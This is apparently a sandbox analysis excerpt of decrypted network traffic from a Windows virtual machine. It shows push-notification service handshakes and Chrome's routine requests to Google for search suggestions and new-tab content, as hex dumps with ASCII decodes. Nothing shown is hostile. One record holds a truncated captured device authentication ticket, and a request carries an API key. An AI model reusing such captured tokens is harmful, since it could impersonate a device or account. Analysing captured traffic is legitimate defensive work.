2024-12-24 13:02:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 62 38 36 41 33 45 6a 53 30 6d 6a 53 79 72 4c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 31 31 63 35 37 34 39 61 39 62 62 34 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Ub86A3EjS0mjSyrL.1Context: b9611c5749a9bb4a
2024-12-24 13:02:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-24 13:02:04 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 62 38 36 41 33 45 6a 53 30 6d 6a 53 79 72 4c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 31 31 63 35 37 34 39 61 39 62 62 34 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 71 62 4f 39 58 63 35 57 58 37 37 38 35 61 6c 7a 58 63 32 76 71 35 52 2f 72 54 52 32 44 54 44 53 77 7a 52 46 34 58 51 73 73 75 30 4e 34 44 4f 79 4a 6a 4f 62 47 2b 35 65 6a 54 2f 2f 38 69 44 44 6f 61 6c 79 4c 76 58 51 38 4b 37 4b 73 5a 70 62 69 49 65 36 59 68 56 53 68 62 69 34 4c 43 52 41 50 65 4f 71 49 64 66 53 32 47 6a 79 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Ub86A3EjS0mjSyrL.2Context: b9611c5749a9bb4a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASqbO9Xc5WX7785alzXc2vq5R/rTR2DTDSwzRF4XQssu0N4DOyJjObG+5ejT//8iDDoalyLvXQ8K7KsZpbiIe6YhVShbi4LCRAPeOqIdfS2Gjy
2024-12-24 13:02:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 62 38 36 41 33 45 6a 53 30 6d 6a 53 79 72 4c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 39 36 31 31 63 35 37 34 39 61 39 62 62 34 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Ub86A3EjS0mjSyrL.3Context: b9611c5749a9bb4a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-24 13:02:05 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-24 13:02:05 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 79 31 66 4e 6b 30 5a 6e 57 55 69 79 56 51 31 58 58 66 46 6c 73 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: y1fNk0ZnWUiyVQ1XXfFlsQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	142.250.181.68	443	6208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:11 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 13:02:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 13:02:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-oVl4mHwS5d7_4akCp80NcQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 13:02:11 UTC	124	IN	Data Raw: 33 36 30 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 77 69 63 6b 65 64 20 6d 6f 76 69 65 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 73 61 6e 74 61 20 63 72 75 7a 20 77 68 61 72 66 20 63 6f 6c 6c 61 70 73 65 73 22 2c 22 6e 63 61 61 20 76 6f 6c 6c 65 79 62 61 6c 6c 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 20 70 65 6e 6e 20 73 74 61 74 65 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 64 6f Data Ascii: 360)]}'["",["wicked movie streaming","santa cruz wharf collapses","ncaa volleyball championship penn state","black ops do
2024-12-24 13:02:11 UTC	747	IN	Data Raw: 75 62 6c 65 20 78 70 20 77 65 65 6b 65 6e 64 22 2c 22 63 68 72 69 73 74 6d 61 73 20 65 76 65 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 74 65 78 61 73 20 72 61 6e 67 65 72 73 20 74 72 61 64 65 20 6e 61 74 68 61 6e 69 65 6c 20 6c 6f 77 65 22 2c 22 63 68 69 6e 65 73 65 20 73 61 74 65 6c 6c 69 74 65 20 6d 69 73 73 69 73 73 69 70 70 69 22 2c 22 6e 6f 72 64 73 74 72 6f 6d 20 6d 65 78 69 63 61 6e 20 72 65 74 61 69 6c 20 67 72 6f 75 70 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b Data Ascii: uble xp weekend","christmas eve weather forecast","texas rangers trade nathaniel lowe","chinese satellite mississippi","nordstrom mexican retail group"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIk
2024-12-24 13:02:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	142.250.181.68	443	6208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49718	142.250.181.68	443	6208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:11 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 13:02:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 24 Dec 2024 13:02:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-24 13:02:11 UTC	372	IN	Data Raw: 31 33 32 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1322)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-24 13:02:11 UTC	364	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-24 13:02:11 UTC	905	IN	Data Raw: 33 38 32 0d 0a 2e 63 6f 6d 2f 67 62 2f 69 6d 61 67 65 73 2f 62 61 72 2f 61 6c 2d 69 63 6f 6e 2e 70 6e 67 5c 22 20 61 6c 74 5c 75 30 30 33 64 5c 22 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 5c 5c 39 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 69 6d 61 67 65 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 76 67 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 Data Ascii: 382.com/gb/images/bar/al-icon.png\" alt\u003d\"\" height\u003d\"24\" width\u003d\"24\" style\u003d\"border:none;display:none \\9\"\u003e\u003c\/image\u003e\u003c\/svg\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u00
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 65 72 5f 6c 61 62 65 6c 22 3a 5b 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 35 2c 33 37 30 31 33 38 34 2c 31 30 31 34 32 30 36 37 30 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 Data Ascii: 8000der_label":["left_product_control-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700305,3701384,101420670,102278205],"is_backup_bar":false},"
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 47 64 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 Data Ascii: \n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n*/\nvar Gd;_.Ed\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 52 64 7d 3b 5c 6e 5f 2e 55 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 53 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 54 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 56 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 54 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 57 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 59 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 49 64 29 Data Ascii: Rd};\n_.Ud\u003dfunction(a){const b\u003d_.Sd();return new _.Td(b?b.createScriptURL(a):a)};_.Vd\u003dfunction(a){if(a instanceof _.Td)return a.i;throw Error(\"F\");};_.Xd\u003dfunction(a){if(Wd.test(a))return a};_.Yd\u003dfunction(a){if(a instanceof _.Id)
2024-12-24 13:02:11 UTC	1390	IN	Data Raw: 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 Data Ascii: ):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagNa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49717	142.250.181.68	443	6208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 13:02:11 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
